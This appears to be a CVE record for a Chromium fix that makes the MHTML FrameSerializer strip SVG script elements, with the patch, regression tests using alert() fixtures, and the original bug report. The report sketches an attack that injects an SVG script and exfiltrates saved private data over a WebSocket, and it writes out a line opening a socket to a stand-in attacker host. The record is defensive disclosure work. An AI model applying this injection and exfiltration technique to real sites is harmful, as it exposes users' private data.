CVE-2026-8022
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/core/frame/frame_serializer_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/frame/frame_serializer.ccthird_party/blink/renderer/core/frame/frame_serializer_test.ccthird_party/blink/renderer/core/testing/data/core_test_bundle_data.filelistthird_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.htmlthird_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
Patch
From 51ac3bc3dfdfaae83e8b61c11477c33349746fe8 Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <apaseltiner@chromium.org>
Date: Fri, 03 Apr 2026 11:13:57 -0700
Subject: [PATCH] [MHTML] Strip SVG script elements during serialization
FrameSerializer was only stripping HTML script elements, but not SVG
script elements. When MHTML Improvements are enabled, scripts can
execute in MHTML documents, which could lead to security issues if
injected SVG scripts are preserved.
This CL updates FrameSerializer::WillProcessElement to use the virtual
IsScriptElement() method, which correctly identifies and strips both
HTML and SVG script elements.
Fixed: 499194407
Change-Id: I44de472efbbccff02179af697d019a227fc32828
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7726689
Reviewed-by: Dan Harrington <harringtond@chromium.org>
Reviewed-by: Ian Kilpatrick <ikilpatrick@chromium.org>
Commit-Queue: Andrew Paseltiner <apaseltiner@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1609869}
---
diff --git a/third_party/blink/renderer/core/frame/frame_serializer.cc b/third_party/blink/renderer/core/frame/frame_serializer.cc
index 5aecec8b..abe11b02 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer.cc
@@ -666,10 +666,7 @@
}
EmitElementChoice WillProcessElement(const Element& element) override {
- if (IsA<HTMLScriptElement>(element)) {
- return EmitElementChoice::kIgnore;
- }
- if (IsA<HTMLNoScriptElement>(element)) {
+ if (element.IsScriptElement() || IsA<HTMLNoScriptElement>(element)) {
return EmitElementChoice::kIgnore;
}
auto* meta = DynamicTo<HTMLMetaElement>(element);
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
250U);
}
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_script.html", "text/html");
+ Serialize("svg_script.html");
+
+ String data = GetSerializedData("svg_script.html", "text/html");
+ EXPECT_FALSE(data.contains("<script"));
+ EXPECT_FALSE(data.contains("svg script"));
+ EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_onload.html", "text/html");
+ Serialize("svg_onload.html");
+
+ String data = GetSerializedData("svg_onload.html", "text/html");
+ EXPECT_FALSE(data.contains("onload"));
+ EXPECT_FALSE(data.contains("onclick"));
+}
+
TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
SetBaseFolder("frameserializer/image/");
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
testing/data/frameserializer/svg/green_rectangle.svg
testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
testing/data/frameserializer/xml/xmldecl.xml
testing/data/fullscreen_div.html
testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+ <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+ <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
250U);
}
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_script.html", "text/html");
+ Serialize("svg_script.html");
+
+ String data = GetSerializedData("svg_script.html", "text/html");
+ EXPECT_FALSE(data.contains("<script"));
+ EXPECT_FALSE(data.contains("svg script"));
+ EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_onload.html", "text/html");
+ Serialize("svg_onload.html");
+
+ String data = GetSerializedData("svg_onload.html", "text/html");
+ EXPECT_FALSE(data.contains("onload"));
+ EXPECT_FALSE(data.contains("onclick"));
+}
+
TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
SetBaseFolder("frameserializer/image/");
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
testing/data/frameserializer/svg/green_rectangle.svg
testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
testing/data/frameserializer/xml/xmldecl.xml
testing/data/fullscreen_div.html
testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+ <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+ <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Original Bug Report
Information Leak via Incomplete Script Stripping in FrameSerializer (MHTML)
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: When saving a page as MHTML, FrameSerializer attempts to strip scripts but fails to remove SVGScriptElement. If the kMHTML_Improvements feature is enabled, scripts are allowed to execute in MHTML files, and because CSP is intentionally stripped during serialization, an injected SVG script can execute and exfiltrate private page data via WebSockets.
Affected files:
third_party/blink/renderer/core/frame/frame_serializer.cccontent/browser/renderer_host/navigation_policy_container_builder.cc
Estimated timestamp from git blame: 2024-10-25
Root Cause
When saving a webpage as an MHTML archive, Chrome attempts to strip executable scripts to prevent security issues when the saved page is reopened. This logic resides in FrameSerializer::WillProcessElement (third_party/blink/renderer/core/frame/frame_serializer.cc).
Currently, the function checks for and ignores HTMLScriptElement and HTMLNoScriptElement. However, it fails to check for SVGScriptElement. As a result, <script> tags embedded within an <svg> namespace are not stripped and are preserved verbatim in the resulting .mhtml file.
Historically, MHTML documents were loaded with strict sandbox flags that prohibited script execution. However, when the experimental blink::features::kMHTML_Improvements feature is enabled, NavigationPolicyContainerBuilder::ComputeSandboxFlags explicitly removes the kScripts restriction from the MHTML sandbox flags, assuming that FrameSerializer has already safely removed all scripts.
Compounding the issue, FrameSerializer::ShouldIgnoreMetaElement explicitly removes <meta http-equiv="Content-Security-Policy"> tags to ensure MHTML subresources load correctly. Since HTTP response headers are also not serialized, the saved MHTML file has no CSP.
Potential Attack Scenario
The following steps describe how an attacker could potentially exploit this logic flaw:
- Injection: An attacker injects a malicious SVG script (e.g.,
<svg xmlns="http://www.w3.org/2000/svg"><script>/* Malicious code */</script></svg>) into a target website (e.g., via a comment section). The site’s CSP prevents it from executing on the live site. - Saving: A victim, authenticated to the site, views a page containing both their private data and the inert SVG payload. The victim saves the page locally (Ctrl+S) as a single-file MHTML.
- Serialization Bypass:
FrameSerializerstrips the site’s CSP meta tags but fails to strip theSVGScriptElement, embedding both the private data and the malicious script in the local.mhtmlfile. - Execution: The victim later opens the saved MHTML file. With
kMHTML_Improvementsenabled, the sandbox allows scripts to execute. The lack of CSP allows the SVG script to run. - Exfiltration: The executing script reads the serialized DOM (containing the victim’s private data). Standard
fetch()calls are blocked byResourceFetcherin MHTML contexts, but the script can successfully open a WebSocket (new WebSocket('wss://attacker.com')) because WebSockets route throughBrowserInterfaceBroker, bypassingResourceFetcher’s local-only archive restrictions. The data is exfiltrated to the attacker.
Note: These steps are based on static code analysis, as our tooling does not yet have the ability to run a live Proof of Concept.
Suggested Fix
Update FrameSerializer::WillProcessElement in third_party/blink/renderer/core/frame/frame_serializer.cc to correctly identify and strip all script elements.
Instead of explicitly checking for HTMLScriptElement, it should check if the element is a script element. For example:
if (IsA<HTMLScriptElement>(element) || IsA<SVGScriptElement>(element)) {
return EmitElementChoice::kIgnore;
}
Alternatively, consider using the virtual IsScriptElement() method defined on Element if applicable.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.